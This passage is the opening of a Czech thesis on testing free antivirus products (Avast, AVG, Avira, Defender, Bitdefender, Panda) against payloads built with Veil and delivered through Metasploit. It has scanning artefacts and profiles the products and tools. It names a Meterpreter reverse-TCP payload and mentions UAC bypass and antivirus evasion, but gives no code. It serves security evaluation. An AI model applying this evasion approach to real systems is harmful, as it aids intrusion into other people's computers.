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ANOTACE

Tato prace se zabyva analyzou a testovanim free antivirovych programi s vyuzitim systému
Kali Linux a frameworki Metasploit a Veil. Cilem je ovéfit moznost proniknuti do

hostitelského PC a sledovat, zda antivirovy program odhali tento utok.
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ANNOTATION

This work is focused on testing free antivir programs using Kali Linux and frameworks
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will be respond to the unsolicited visit.
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UvVoD
Tato prace ma za cil otestovat schopnost zabezpeceni jednotlivych antivirovych programt,
které jsou Sifeny pod licenci free. K otestovani jednotlivych antivirovych programi bude pouzit
OS Kali Linux. Ten ma jiz v zékladni instalaci implementovan framework Metasploit a pro

potieby testovani bude doinstalovany framework Veil.

V praci budou predstavena jednotliva softwarova feSeni, jez byla vyuzita k otestovani
antivirovych programi. Nejprve samotny OS Kali Linux a poté oba pouzité frameworky
Metasploit a Veil. Nasledné v praktické ¢asti prace budou ptedstaveny jednotlivé platformy,
jednotlivé zpusoby, resp. jednotlivé payloady, se kterymi se exploitace zkousela a dale také
vybér testovanych antivirovych programii. Samotna testovani budou doprovazena ukéazkami
v podobé screenshott z testovani. Na zavér budou predstaveny vysledky, jak si ktery antivirovy
program poradil s bezpecnostnimi riziky, a ty budou za vyuziti metod popisné statistiky

vyhodnoceny.

Obecné lze povazovat exploitaci za velmi vhodny nastroj pro kontrolu zabezpeceni
jednotlivych OS, nebo také aplikaci, naptiklad uvnitt néjaké firmy. Diky tomu se da snaze
predchazet bezpecnostnim problémiim a aplikovat vhodné bezpe¢nostni prvky, kterymi mohou

byt prave také vhodné zvolené antivirové programy.

Piiblizny postup testovani vypada asi takto. Pomoci frameworku Veil je vygenerovan tzv.
payload — neboli data, odkazujici na ¢ast Skodlivého softwaru, jenz vykonava nebezpe¢nou
¢innost. Tento payload je nasazen na systém, na ktery se utoci a pomoci frameworku Metasploit

dojde k exploitaci tohoto systému.
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1 AKTUALNI SITUACE

Problematikou testovani antivirovych programu s vyuzitim framework Metasploit a Veil se
doposavad (leden 2017) zabyval ¢lanek [1] z periodika News of Altai State University. Je zde
testovan pouze jediny komeréni antivirovy program, a to konkrétné Eset Smart Security 4, se
systémem Windows 7. S pouzitim frameworku Veil (pouzivany pro vytvaieni takovych virg,
resp. payloadd, aby byly co nejhiife odhalitelné antivirovymi programy) byl pro penetra¢ni
testovani vytvoren payload python/meterpreter/rev_tcp. Tento byl nasazen do cilového systému
a nasledné byl navazan kontakt s vyuzitim frameworku Metasploit. Dle autord, Eset Smart
Security na vytvofeny vir a pfitomnost Gito¢nika nijak nezareagoval, a proto doporucuji pouZzivat
nejen antivirovy program, ale také naptiklad utilitu Antimeter2, coz je program, ktery zjistuje,
zda nebyla vsystému vytvofena instance programu Meterpreter (bude vysvétleno v
kapitole 4.3.1) a pokud je zjisténo Ze ano, tak je okamzité ukoncena. Poté co se podatilo
proniknout do systému, byla dalsi ptekazkou UAC (User Access Control) kontrola, kterou je
dobré mit z hlediska bezpecnosti neustale zapnutou, i kdyz jde také obejit, jak je v ¢lanku
ukéazano. Po prolomeni UAC si mize uto¢nik v systému délat viceméné cokoliv. Proto autofi
v ¢lanku [1] wvyslovuji mysSlenku, Ze v dne$ni dobé obrovského rozmachu a vyvoje

ruznych druhti sitovych utok, a to i kdyz je instalovan komer¢ni antivirovy program.

Otazkou tedy je, jak si povedou a budou schopni odhalit hrozbu freeware verze antivirovych

programu po utoku s obéma frameworky?
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2 VYBER TESTOVANYCH ANTIVIRU

2.1 Antivirové programy

2.1.1 Co je to antivirovy program

Antivirovy program (antivirus) je sada nékolika nastroju, které hledaji, odhaluji a nasledné
mazou viry, resp. nebezpecny malware [2]. V dne$ni dobé jsou moderni antiviry vybaveny
ochranou webovych prohlizec¢t, ochranou pied: ransomware, skenovanim klavesnice, adware,
spyware, rootkit, cervy, trojskymi konmi a dal§imi ochranami. Nejsou tedy podle nazvu pouze

proti-virovou ochranou, ale obecné ochranou pied malware. [3]
Mohou existovat tyto druhy antivirovych programu [5]:

e On-demand skenery — spoustéji se pies prostiedi OS DOS v ptipadé€, kdy systém
neni schopen nastartovat béznym zptisobem.

e Jednoucelové antiviry — zaméfeny na detekci jednoho konkrétniho viru.

e Antivirové systémy — komplexni systémy, které¢ by mély ochranit dany systém pted
nezadoucimi a nebezpecnymi jevy.

V této praci budou vyuzity a popisovany praveé nekteré antivirové systémy.

2.1.2 Licence

Pokud vezmeme Vv potaz komplexni feSeni antivirovych systémil, tak poté takovéto systémy

mohou existovat ve 3 (nebo 4) licen¢nich provedenich:

e Freeware — cely softwarovy bali¢ek (bez ptidanych funkcionalit, které jsou dostupné
Vv nejlepsi verzi daného vyrobce) je zcela zdarma, uzivatel si ho stdhne a miize
pouzivat neomezené, jak dlouho chcee, vétSinou i s pravidelnymi aktualizacemi.

e Trial — licence zdarma, ktera je obvykle omezena na néjaky casovy usek (povétsinou
30 dni) a nabizi zakladni funkce, obdobné jako freeware, ale pridava jesté nékteré
dalsi — ne vSak vSechny funkcionality dostupné v nejlepsi verzi. Uzivatel si stahne
pouze testovaci, zkuSebni balicek, ktery po daném ¢asovém intervalu nebude moci
dale vyuzivat.

e Shareware — viceméné stejny princip jako trial verze, ovSem s tim rozdilem, ze
uzivateli jsou poskytnuty k vyzkouSeni veskeré funkcionality dostupné v nejlepsi verzi
antiviru. A po daném ¢asovém intervalu si uzivatel miize pouze dokoupit licenci
(sériové, registracni ¢islo), zaregistrovat svij produkt a nadale ho pouzivat jiz

Vv placené verzi.
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e Placena verze — uzivatel si od spole¢nosti kupuje licenci na pouzivani dan¢ho
produktu. U vétSiny spole€nosti plati, Ze licence se plati na rok, ¢ili uzivatel musi
kazdoro¢né zaplatit poplatek, aby mohl nadale produkt vyuzivat.

Obrazek (Obrazek 1) ilustruje freeware, trial a shareware licence poskytované spolecnosti
Avast. Prvni sloupec piedstavuje licenci freeware, druhy licenci trial a posledni sloupec

shareware verzi.

c B O

g Internet -
Free Antivirus Security Premier

Vyberte si vase Zaktadni securit Kompletni

zabezpeceni

30denni zkusebni verze 30denni zkusebni verze
zdarma zdarma
Vyhnéte se problémim
Odhalte viry, malware a dal3i problémy ohroZujici vasi [ ] [ ] ]

domaci sit.
Zachyt'te nebezpeéné hrozby

Analyzuje nebezpeéné soubory v realném case, takZe vas o ] ]
Zadny virus nepfekvapi.

Zkrot'te vas prohlizeé
Zbavte se neZadoucich roziifeni a hackerd, ktefi vydélavaji ® ® ®
penize manipulaci s vysledky vaseho vyhledavani.

Zapomerfite na vase hesla
Témér. K pfinlasSeni na jakékoli stranky vam ted vystaci o o [ ]
pouze jedno. A diky nam bude neprolomitelné.

Qdhalte podvody
Ujistéte se, Ze navativené stranky vasi banky jsou opravdu ty L ] [ ]
prave.

Nakupujte o sto Sest

Ne dokud vam nékdo vykrade bankovni ucet. ° e
Chrafite si své soukromi ° °
Zastavte jakékoli pokusy o prolomeni vadeho pocitace.

Vyhybejte se spamu’

UdrZujte vasi e-mailovou schranku Eistou, bez zakefného ® ®
spamu.

Prelstéte hackery °
Automaticky aktualizujte vas software.

Trvale odstrarite citliva data

Jesté pfedtim, nez prodate, vénujete nebo pljtite vas ®

potitat. Pouhym smazanim trvale neodstranite vase citlivé
soubory.

* ' e L STAHNOUT : :
Funkce Anti-spam je k dispozici zdarma ke staZeni ZDARMA STAHNOUT STAHNOUT

Obrazek 1 — Nabidka licenci Avast (zdroj [4])
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2.1.3 Jak antivir funguje

Prvnim dilezitym piedpokladem K zajisténi ochrany je mit antivir neustale zapnuty, aby mohl
ochranit systém. Druhym dulezitym pfedpokladem je udrzovat antivirovy software neustale
aktualni, resp. jeho virovou (malware) databazi. Tato databaze mize byt aktualizovana dvéma
zpusoby: automaticky a manualné. Pokud je aktualizovana automaticky, aktualizace jsou
uzivateli dodavany periodicky (napf. jednou za den), nebo okamzité¢ jakmile se objevi novy
pokud je vybrana tato varianta, vyrobci antivirovych programt informuji samotného uzivatele,
napf. prostfednictvim emailu, o nejnovéjSich hrozbach. O automatické aktualizace se stara
samotny antivirovy program, ktery vSe fe$i za uzivatele. Automatické aktualizace nemusi byt
vzdy Upln¢ idedlnim feSenim, protoze i antivirovy program je obycCejny software, ktery miize
obsahovat chyby a téchto chyb mohou vyuzit Gto¢nici. Zvlasté pak velmi oblibenym obdobim
utoku je ¢as, kdy probiha aktualizace a pienasi se nové informace do virové databaze, protoze
tyto informace mohou byt zneuzity a tim se mize stat antivirus nebezpe¢nym pro uZzivatele.
Mozna i proto se uzivatel miize automatickym aktualizacim branit a feSit si v§e po svém,

manualné. [5]

Kazdy antivirovy program vyhledavd, skenuje soubory nachéazejici se v systému a o toto
vyhledavani se stara tzv. scanner, ktery je soucasti antiviru. Vyhledat malware je mozné témito

zpusoby [5]:

e Na vyzadani (on-demand) — scanner za¢ne pracovat az po pozadavku uzivatele.
Vétsinou K tomuto pozadavku uzivatel piistoupi v ptipadé€, kdy chce ovétit podeziely
soubor, protoze by mohlo hrozit nebezpeci. Antivir ma na vybér né€kolik moznosti (viz
niZe), jak bude toto nebezpeci analyzovat.

e Po pristupu (on-access) — scanner pracuje neustale, automaticky. Testuje kazdy novy
soubor piichazejici do systému. Diky neustdlému provozu scanneru dochazi ke
zvySeni vstupné-vystupnich operaci a tim 1 zvySeni reZijnich ndkladd pro béh systému.
Nékteré antiviry proto nabizeji optimalizaéni feSeni, kdy lze vybrat, aby soubory byly
kontrolovany pouze pii zapisu, resp. ¢teni.

Zpusoby, jak antivir odhaluje malware, jsou nasledujici [6]:

¢ Slovnikovy pFistup — antivirus prohledava soubory a porovnava je se svoji malware
databazi. Po nalezeni shody kodu programu s malware nachdzejicim se v databazi,

muze dojit k t€émto akcim: antivir smaze soubor (program), umisti soubor do
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karantény, nebo se pokusi odstranit z programu ¢ast Skodlivého kodu. Efektivni
vyuziti slovnikového ptistupu je zavislé predev§im na aktualizované databazi
malware.

e Monitorovani podezielého chovani — antivirus nehled4d malware, ale kontroluje
chovani spusténych programt. V piipad¢, kdy se program pokusi zapsat ¢ast kodu do
spustitelného souboru, je toto chovani oznaceno za podezielé. Uzivatel je proto
vyzvan antivirovym programem, aby urcil, co se ma s podezielym programem déle
stat. Vyhodou této metody muze byt identifikovani dosud neznamého malware, na
druhou stranu, v dnesni dobé, kdy spousta programu zasahuje do spustitelnych
soubort, se stava metodou, ktera spise obtézuje uzivatele a ten automaticky v dialogu
odsouhlasi, ze se nejedna o nic nebezpecného. Proto moderni antivirové systémy tuto
metodu vyfazuji ze svych feseni.

¢ Emulovani spustitelnych souboru — emulaci dosahne antivir toho, ze malware je
spustén pred spusténim samotného programu. V ptipadé, ze se kod programu sdm od
sebe méni anebo se chova jako malware, dochazi antivir k nazoru, Ze se jedna o
nebezpecny software.

e Odhaleni v sandboxu — sandbox je virtualni prostfedi (dochazi v ném ke spusténi
emulovaného OS), které slouzi k oddéleni od redlného prostiedi (OS). Pii podezieni
na hrozici nebezpe¢i miize uzivatel spustit program v sandboxu a nasledn¢ jsou
zaznamenany zmény emulovaného systému, které by mohly signalizovat pfitomnost
malware. Tato metoda je vysoce vykonoveé naro¢na, a proto k ni dochazi jen na
vyzadani uZivatele.

Moznosti odhaleni malware ilustruje obrazek (Obrazek 2).
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Obrazek 2 — Zpusoby odhaleni malware (zdroj — vlastni)

2.2 Cloudova FeSeni

V dnesni dob¢ se stava velkym trendem provozovat antivirovy systém v cloudu. I diky tomu,
7e se mnoho b&zného softwaru presouva do cloudu. Cim méné se instaluji desktopové aplikace,
tim je mensi potfeba mit desktopovy antivirus. Vyhodou pouzivani antivirovych systému
V cloudu miiZze byt moznost spojeni vice antivirovych jader dohromady a tim lepsi odhaleni
malware. Dale pak ochrana jak firemnich siti, tak domacich siti bez vytizeni vykonu vlastnich
pocitacli. OvSem neznamy malware nemusi odhalit ani vétSi mnozstvi antivirti. Spojeni antivira

do cloudu se mtize oznacovat jako CloudAV. [7]

Prvnim ptfedpokladem pro spravné fungovani cloudovych antiviri je pfipojeni k internetu.
V ptipadég, kdy je uZivatel offline, se informace a vysledky ukladaji do cache paméti, kterd se
nachdzi na stran¢ uZivatele, takze napf. nckteré zkontrolované soubory nemuseji byt
kontrolovany znova. V ptipad€, Ze je uzivatel pfipojen k internetu, miize byt jeho systém
kontrolovan cloudovym antivirem. Nabizi se otazka, jakym zpiisobem provadi takovyto antivir

kontrolu? Odpovéd’ je jednoducha. Antivir pfijima od uZzivatele informace o souborech
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(nepfijiméa celé soubory, ty by zahltily linku spojujici uzivatele s internetem), konkrétn¢ jejich

metadata.

Kazdy koncovy bod (uzivatel) ma svého agenta, ktery shromazd'uje informace a analyzuje
soubory na systému. Antivirus v cloudu si tyto informace od agenta neustalé sbird a pokud
agent zaregistruje soubor, ktery se jevi jako Skodlivy, antivir v cloudu na tuto skute¢nost
zareaguje a zmeéni pohled vnimani na tento soubor. Diky této analogii, kdy rozhodovani o tom,
zda se jedna o malware ¢i nikoliv je pfedano na stranu serveru, neni ato¢nikiim piimo pfistupny

rozhodovaci mechanismus samotného antiviru a ¢ini pro né vetsi sili vytvorit novy malware.

Reseni cloudovych antiviril zahrnuji stejné techniky detekce malware jako tradi¢ni antiviry.
Stejn¢ jako desktopové antiviry, zahrnuje cloudové teSeni detekci malware pomoci
behavioralnich a heuristickych analyz. Diky behaviordlnim analyzam lze na koncovych
zafizenich odhalit: malware modifikujici soubory, malware vytvafejici autorun.inf na
pfenosnych discich nebo sdilejici autorun.inf po siti, malware zasilajici nékolik emailt
v kratkém c¢asovém intervalu, malware generujici nové spustitelné programy, malware
modifikujici auto-run registracni klice. Pokud doséhnou tyto malware aktivity urcitého
mnozstvi, agent na koncovém bod¢ miize takovy nebezpecny program zablokovat a oznamit
tuto skutec¢nost do cloudu. Diky tomu mohou z takovéto skute¢nosti t€zit ostatni uzivatelé, ktefi

jsou piipojeni do stejného cloudu.

Antivirus v cloudu je pro dnesni dobu slibné feseni, a to i z diivodu toho, ze vétsina tradi¢nich
vyrobcl antivird tento zplsob jiz podporuje ve snaze drzet krok s vS§emoznym malware, ktery

se objevuje ve svéte. [8]

2.3 AVAST

2.3.1 Charakteristika antiviru

Oblibeny antivirus od ¢eskych tvirct, zastupce cloudovych feseni, ktery zajistuje ve spojenti
komerénich a nekomer¢nich feseni ochranu pro témét 400 miliont uzivateld. Antivirus Avast
Vv neplacené verzi nabizi ochranu proti virGm, malware, spyware, rootkitim a dalSim
problémim ohrozujici naptiklad domaci sit’. Analyzovat a zachytit hrozbu dokaZe v redlném
case. Od roku 2016 je nejen v neplacené verzi k dispozici spravce hesel — Hesla Avast.
Umoznuje nahradit funkci automatickych vypliiovani formuldii ve webovych prohlizecich
mnohem bezpecnéjSim zplusobem, predevsim diky propracovanéjSimu Sifrovani jednotlivych
hesel. Zaroveii 1ze do tohoto spravce hesla ulozit a na vS§echny oblibené stranky se dostat jednim

jedinym heslem tzv. Hlavnim heslem. V neplacené verzi lze také ziskat SafeZone, coz je
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bezpecny webovy prohlize¢, ktery neobsahuje nezadouci rozsifeni a neobtézuje manipulaci

vysledkt vyhledavani hackery, za u¢elem zisku penéz. [9]

2.3.2 Systémové pozadavky + funkce placenych verzi

Minimalni systémové pozadavky pro antivir Avast jsou:

e OS: Windows 10, 8.1, 8, 7, Vista nebo XP SP
e CPU: neuvedeno
e RAM: 256 MB+
e HDD: 1,5 GB volného mista
Vyrobce podporuje i OS Mac OS X a mobilni zafizeni se systémem Android.

Placen¢ verze oproti verzi free nabizeji napi.: vlastni firewall, inspektor Wi-Fi siti,
nékolikandsobny pfepis dat pro snizeni rizika jejich obnoveni — tzv. Skartovac dat, bezpecné

DNS a dalsi. [10]

24 AVG

2.4.1 Charakteristika antiviru

Dalsi antivirovy program vytvoieny Ceskymi tvurci (od minulého roku soucast spolecnosti
Avast, kterou bylo AVG koupeno). Dle tviircti ochrana timto antivirem nezklame. Nabizi
blokovani viri, spyware a jiného malware. Dale pak blokovani nebezpecnych odkazi,
stahovanych souboril a emailovych ptiloh. AVG Antivirus Free se také snazi kontrolovat vykon
pocitace a minimalizovat jeho vytizeni. Poslednim dalezitym prvkem, ktery AVG v neplacené
verzi nabizi, jsou aktualizace zabezpeceni v redlném Case. Stejn¢ jako Avast je AVG dostupné
pro nékolik platforem. [11]

2.4.2 Systémové pozadavky + funkce placenych verzi

Minimalni systémové pozadavky pro antivir AVG jsou:

e OS: Windows 10, 8.1, 8, 7, Vista nebo XP
e CPU: Intel Pentium 1,5 GHz nebo rychlejsi
e RAM: 512 MB (Win XP), 1024 MB (nov¢jsi Windows)
e HDD: 1,2 GB volného mista
AVG nabizi i podporu zatizeni s OS Mac OS X a mobilnich zatfizeni s OS Android.

Nejlepsi placend verze AVG Ultimate nabizi oproti verzi free napf.: Sifrovani soukromych dat,

ochranu pfi placeni, vlastni firewall a spousty dalSich funkci. [12]
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25 AVIRA

2.5.1 Charakteristika antiviru

Antivirus Avira, je antivirovy program vyvijeny némeckou spolecnosti Avira. V neplacené
verzi nabizi ,,zabezpeceni budouci generace®, které umoznuje identifikovat, zablokovat, nebo
odstranit ransomware (malware, ktery Sifruje soubory, nebo blokuje pfistupy, za jejichz
odblokovani/navraceni jsou poté vymahany penize), ktery by se mohl zmocnit divérnych dat.
Podobné jako AVG dokaze optimalizovat PC pro co nejlepsi vykon. Nabizi pravidelné
aktualizace pro zajiSténi co nejlepsi bezpecnosti. Mezi dodateCnymi funkcemi Avira nabizi
osobni ochranu, kterd je zajisténa pouzitim Avira Phantom VPN. Ta spociva ve skryvani IP
adresy a Sifrovani komunikace, ochrané ptfed nezaddoucimi inzeraty a také mateni webovych

stranek s geografickym omezenim, aby nemohl byt pouzivany systém sledovan. [13]

2.5.2 Systémové pozadavky + funkce placenych verzi

Minimalni systémové pozadavky pro antivir Avira jsou:

e OS: Windows 10, 8.1, 8, 7
e CPU: Intel Pentium 4 1 GHz nebo rychlejsi
e RAM: 1024 MB
e HDD: 800 MB volného mista
Antivir Avira je také k dostani na OS Mac OS X.

Placena verze Avira Pro nabizi oproti verzi free: kontrolu zatizeni (USB flash disk atd.),
ochranu pfi nakupovani, spravé bankovnich uctli, mobilni a emailovou podporu od tviirci

antiviru Avira a dale pak neobsahuje zadné reklamy. [14]

2.6 WINDOWS DEFENDER

2.6.1 Charakteristika antiviru

Windows Defender je antivirovy program, zastupce cloudovych antivirti, od spole¢nosti
Microsoft. Bezplatné feSeni antiviru nabizi ochranu pfed potencidlnimi trhlinami. Chrani
aplikace a data se zvySujicim se pfistupem ke cloudovym sluzbam. Defender nabizi ochranu
v realném cCase pred viry, malware a spyware. Nabizi pravidelné aktualizace zdarma. Dle

Microsoftu nabizi nejen zabezpeceni osobnich zatizeni, ale 1 zabezpeceni firemnich zafizeni.

[15]
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2.6.2 Systémové pozadavky + funkce placenych verzi

Systémové pozadavky pro antivir Windows Defender jsou uréeny pozadavky na dany systém
od Microsoftu. Neboli, jakou systémovou konfiguraci vyzaduji Windows 10, 8.1, 8, 7, nebo
XP.

Microsoft nevytvaii zadnou vylepSenou (placenou) verzi oproti Windows Defender, pouze
nabizi uzivateli pii zakoupeni licence Windows antivir jako bonus zadarmo (v nové&jSich

systémech jako vestavénou soucast).

2.7 BITDEFENDER

2.7.1 Charakteristika antiviru

Antivirovy program od rumunskych tvirct. Bitdefender obsahuje anti-phishingovou kontrolu,
coz znamena, ze blokuje stranky, které se tvari divéryhodné a pouze se snazi z uzivateld
vymamit penize, nebo ziskat hesla. Automaticky skenuje a odstranuje viry, ale toto mtize délat
1 na vyzadani. V pfipadé€, Ze se objevi hrozba, je zablokovana/zni¢ena na pozadi, aniZ by byl
uzivatel vyrusen. Také obsahuje tzv. anti-fraud kontrolu, ktera upozorni uzivatele pii vstupu na
stranky typu: kasina, erotické stranky, bankovni stranky, kde je vysoké riziko podvedeni

uzivatele. [16]

2.7.2 Systémové pozadavky + funkce placenych verzi

Minimalni systémové poZadavky pro antivir Bitdefender jsou:

e OS: Windows 10, 8.1, 8, 7
e CPU: Intel Dual Core 1,6 GHz
e RAM:15GB
e HDD: 2 GB volného mista
Taktéz Bitdefender je k dispozici pro zatfizeni se systtmem Mac OS X a mobilni zafizeni se

systémem Android.

Placené verze oproti verzi free nabizi: ochranu dat, aktivni ochranu pfed hrozbami, kterd je

zalozena na detekci nepfirozeného chovani aplikaci, vlastni firewall a jiné dalsi. [17]

2.8 PANDA

2.8.1 Charakteristika antiviru
Antivirus Panda vytvofeny ve Spanélsku nabizi fedeni antivirového programu, ktery nezatizi

vykon PC, na kterém je nainstalovan, protoze vSechna prace probiha v cloudu. Poskytuje
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maximalni zabezpefeni proti nejnovéjsim virim bez toho, aniz by se museli provadét
kazdodenni aktualizace a ukladat spousta souborti do PC. Instalace a nasledny provoz
samotného antiviru je velice jednoduchy, protoze je vSe pro uzivatele jiz piipraveno, takze po

instalaci jiz nemusi nic nastavovat. [18]

2.8.2 Systémové pozadavky + funkce placenych verzi

Minimalni systémové pozadavky pro antivir Bitdefender jsou:

e OS: Windows 10, 8.1, 8, 7, Windows Server 2003, 2008, 2012
e CPU:400MHz
e RAM: 96 MB (klient), 128 MB (server)
e HDD: 280 MB (32bit), 610 MB (64bit)
e Rozliseni obrazovky: 800x600 (256 barev)
Antivir Panda je dostupny i na OS Mac OS X, OS Android a OS iOS pro mobilni zatizeni, nebo

také pro rizné linuxové distribuce.

Placené verze Panda oproti verzi free nabizi: Sifrovani dat, ochranu pfi pouzivani internetového

bankovnictvi, ochranu Wi-Fi, nebo zalohu soubort s rychlym a jednoduchym obnovenim. [19]

2.9 HODNOCENI ANTIVIRU
V nasledujici kapitole budou piedstaveny vysledky (z roku 2016 a pocatku roku 2017, ¢ili

hodnoceni vychazi spise z roku 2016) z n¢kolika servert.

Na prvnim serveru pcmag.com byly antiviry testovany na Windows 10 a hodnoceny podle
téchto kritérii: skenovani malware na vyzadéani, automatické skenovani malware, ochrana na
webu, blokovani nezadoucich URL, ochrana pied phishing, detekce na zdkladé¢ chovani
uzivatele a skenovani hrozeb. Z vysledki v souhrnu nejlépe vysel antivir Avast, nasledovan
AVQG, tieti skoncil antivir Panda, ¢tvrtou pficku obsadil Bitdefender, patou Avira a posledni
pti¢ku obsadil Microsoft Defender, ktery diky nizkému hodnoceni nebyl zobrazen v podrobné
tabulce vysledku. [20] (Tabulka 1)
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Tabulka 1 — Srovnani pcmag.com (zdroj [20])

Detekce

malware na ANO ANO ANO ANO ANO
poZadani

Detekce

malware ANO ANO ANO ANO ANO

automaticky

Website rating

(zda je web

ANO ANO NE ANO NE
bezpecny, ¢i

nikoliv)

Blokovani

nebezpeénych ANO ANO ANO ANO ANO
URL

Ochrana proti
ANO ANO ANO ANO ANO
phishing

Zachyceni

neobvyklého ANO ANO ANO NE NE
chovani

Bonus:

skenovani

ANO NE NE NE NE
slabych mist

systému

Na serveru tomsguide.com byly testy provadény opét na OS Windows 10 a hodnoceni probihalo
postupné dle téchto kritérii: zatizeni PC, jednoduchost pouziti antivirového programu, detekce
malware (oznacovan jako widespread) a zero-day utoku (uto¢nik vytvaii malware co nejdiive
po tom, kdy je znama slabina systému). Pro vysledky, jak si ktery antivir poradi s hrozbami,
byly pouzity vysledky nezavislych laboratoti AV-TEST v Némecku a AV-Comparatives
Vv Australii z po¢atku roku 2016 (pro Windows 7 — 32bit) a z konce roku 2015 (pro Windows
8.1 — 64bit), protoze od té doby nevysly testy pro zde vyjmenované antiviry. Pro ucel této prace
bude dulezity predevsim piehled, jak si ktery antivir poradil s detekci bézné zndmého malware.

[21] (Tabulka 2, Tabulka 3)
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Tabulka 2 — Srovnani antiviri ze serveru tomsguide.com, Windows 7 32bit — leden, anor 2016 (zdroj [22])

Avast AVG Avira  Bitdefender Microsoft Panda
ZERO-DAY

malware 98,2% 100% 99,1% 100% 91,8% 100%
(leden)
ZERO-DAY

malware 98,1% 98,1% 99,0% 100% 86,4% 99,0%
(unor)
BéZné znamy

malware 99,7% 99,8% 99,9% 100% 99,7% 100%
(leden)
BéZné znamy

malware 99,3% 99,9% 99,9% 100% 99,6% 100%
(inor)

Nespravné

identifikované 3 1 0 0 3 5

hrozby
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Tabulka 3 — Srovnani antiviri ze serveru tomsguide.com, Windows 8.1 64bit — listopad, prosinec 2015
(zdroj [22])

100% 98,8% 100% 100% 97,5% 98,8%

98,3% 100% 100% 100% 90% 100%

99,8% 99,9% 100% 99,9% 99,6% 99,9%

99,8% 99,7% 99,9% 100% 99,6% 99,9%
3 1 0 1 1 7

Dle serveru techradar.com, ktery opét vyuZil sluzeb laboratoii AV-TEST, byly jednotlivé
antiviry hodnoceny znovu z hlediska vykonnosti a spolehlivosti 24 hodin. Mimo jiné, jestli
antivirus zbytecné neobtézuje uzivatele naptf. vyskakovacimi okny s nabidkou prémiové
(placené) verze programu. A v neposledni fadé testovani na ochranu pfed hrozbami, které se
shoduje s vysledky ze serveru tomsguide.com. V souhrnnych vysledcich pak nejlépe dopadl
antivir Avira, nasledovany postupné antiviry AVG, Panda, Avast, Bitdefender a posledni pricku
obsadil Microsoft Defender. [23]

Tato prace se bude snazit ukazat, jak si povede 6 vySe uvedenych antivirovych programi
v aktualnich verzich. Zaroven bude mozné porovnat a zjistit, jak se namétené vysledky shoduji

s vysledky ukézanych v tabulkach vyse.
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3 KALI LINUX
3.1 Charakteristika OS

wewe

prvni verze byla vyddna v bfeznu roku 2013. Tento systém je vyuzivan pifedevSim
K penetracnimu testovani a kontrole zabezpeceni. Pifedchudcem této distribuce byla jina
distribuce Linuxu, a to distribuce BackTrack. Distribuce Kali Linux se stala jakymsi
vylepSenim, pfestavbou BackTrack a prevzala pouze funkéni nastroje. (BackTrack obsahoval
mnohem vice nastroji nez Kali, ale n¢které¢ byly i nefunk¢ni, a proto byly odstranény.)
Distribuce Kali Linux je zaloZena na jiné distribuci a tou je Debian. Stejné€ jako BackTrack si
klade za cil, ze je a bude vzdy zcela zdarma a také, Ze veskery kod, ktery je soucasti Kali Linux,
je abude vzdy dostupny pro kohokoli. Zaroven dodrzuje standard FHS, umoznujici uzivatelim
Linuxu snadno najit binarni podptrné soubory, knihovny atd. Dale podporuje tolik
bezdratovych zatizeni, kolik uzivatel chce a potiebuje. Samotné jadro (kernel) je upraveno
specialné pro tuto distribuci a miize byt upraveno kymkoli podle vlastniho vkusu a dle vlastnich
potieb. Neustale vychazeji bezpecnostni zaplaty a bezpecnost je zajisténa také tim, Ze tym
spravujici a tvofici tuto distribuci je pouze mala skupina lidi, ktera jedind mtze schvalovat a
pridavat do oficialnich repositait nové bali¢ky programi (nastroji). Kazdy novy balicek je téz
oSetfen zaSifrovanym elektronickym podpisem (GPG) toho, kdo vytvofil a sdilel tento balicek.

Kali Linux je dostupny v nekolika jazycich a je vyvijen i s ohledem na ARMEL a ARMHF
systémy?. [24]

3.2 VYBRANE NASTROJE KALI LINUX — STRUCNY POPIS

Kali Linux v sobé zahrnuje mnoho nastroji (okolo 600), kterymi lze dosahnout potiebnych
kontrol, penetracnich testovani. Pro penetracni testovani slouzi nastroje, které jsou rozdéleny

do téchto kategorii:

sbér informaci,
odhalovani zranitelnosti,
webové aplikace,
odhalovani hesel,

exploatacni nastroje,

© a0k~ 0w N oE

sniffing a spoofing,

L ARMEL a ARMHF systémy — systémy pouzivajici architekturu procesorit ARM, jenz je pouzivana i diky své
nizké spotfebe napt. na mobilnich zatizenich
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7. nastroje pro zachovani pristupu,
8. nastroje pro dokumentaci,
9. systémové nastroje.
Pro tcely testovani antivirovych programu byly vyuzity frameworky Metasploit a Veil jako

zastupci exploitacnich nastrojui [25].

Ukazka z prostiedi Kali Linux s otevienymi piikazovymi fadky framevorka Metasploit a Veil
(Obrazek 3).

Ekai
Soubor Upravit Zobrazit Hiedat Teminal Napovéda

" O

|
L)
-
[
=
B

Obrazek 3 — Kali Linux (zdroj — vlastni)

3.2.1 Sbér informaci

Zenmap/Nmap — jednémi z nejpouzivanéjsich nastrojui z oblasti sbéru informaci jsou Zenmap
a Nmap. Zenmap je grafické prostiedi slouzici k snadné&jsimu vyuziti Nmap. Nmap je velmi
popularni a spolehlivy balicek sitovych nastrojii. V tomto balicku jsou zahrnuty nastroje jako:
nping — sitovy nastroj pro generovani packeti pro Siroké spektrum protokolt (UDP, TCP,
ICMP, ARP), ndiff — nastroj pro sefazeni vysledkl nasbiranych v§emi nastroji Nmap balicku
(vSechny nasbirané informace lze vyexportovat do n€kolika format - xml, textovy soubor,
vystup do databdze nebo vystup zpracovatelny néstrojem grep, ktery dokaze vybrat data na
zaklad¢ regularnich vyrazll), ncat — spojovani a presmérovavani portd, nmap — ndstroj pro
mapovani sité [26]. Pomoci Nmap lze zjistit né¢kolika zplisoby, zda je zafizeni vypnuté, nebo
zapnuté. Existuje nékolik zptisobi, jak sledovat dané zatizeni (TCP SYN/ACK host discovery
scan, UDP host discovery scan, ACK scanner) a jak najit jeho sluzby (TCP connect scan, UDP
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connect scan, ACK scan). Dokaze také rozpoznat operacni systém a verze bézicich sluzeb
(aplikaci) na daném systému. Ve skriptovacim jazyce Lua je mozné vytvotit vlastni skript, ¢imz
Ize Nmap neomezené rozsifovat. Mimo jiné obsahuje pokro¢ilé techniky k oklamani firewall,
IDS, anebo obsahuje sadu nastroji pro benchmarking sité [27]. Mnohem S§irsi vyuziti 1ze nalézt
Vv piiruc¢ce od samotného tviirce nastroji Nmap [28]. Nmap je hojné vyuzivan praveé v ramci

frameworku Metasploit (je v ném zakomponovan) pro zmonitorovani sité pred exploitaci.

3.2.2 Odhalovani zranitelnosti
Mezi nastroje, které umi odhalovat zranitelnost, patfi mimo jiné také Nmap popsany
v kapitole 3.2.1.

3.2.3 Webové aplikace
Burp Suite — velice uzite¢na sada nastroju (Target, Proxy, Spider, Scanner, Intruder, Repeater,
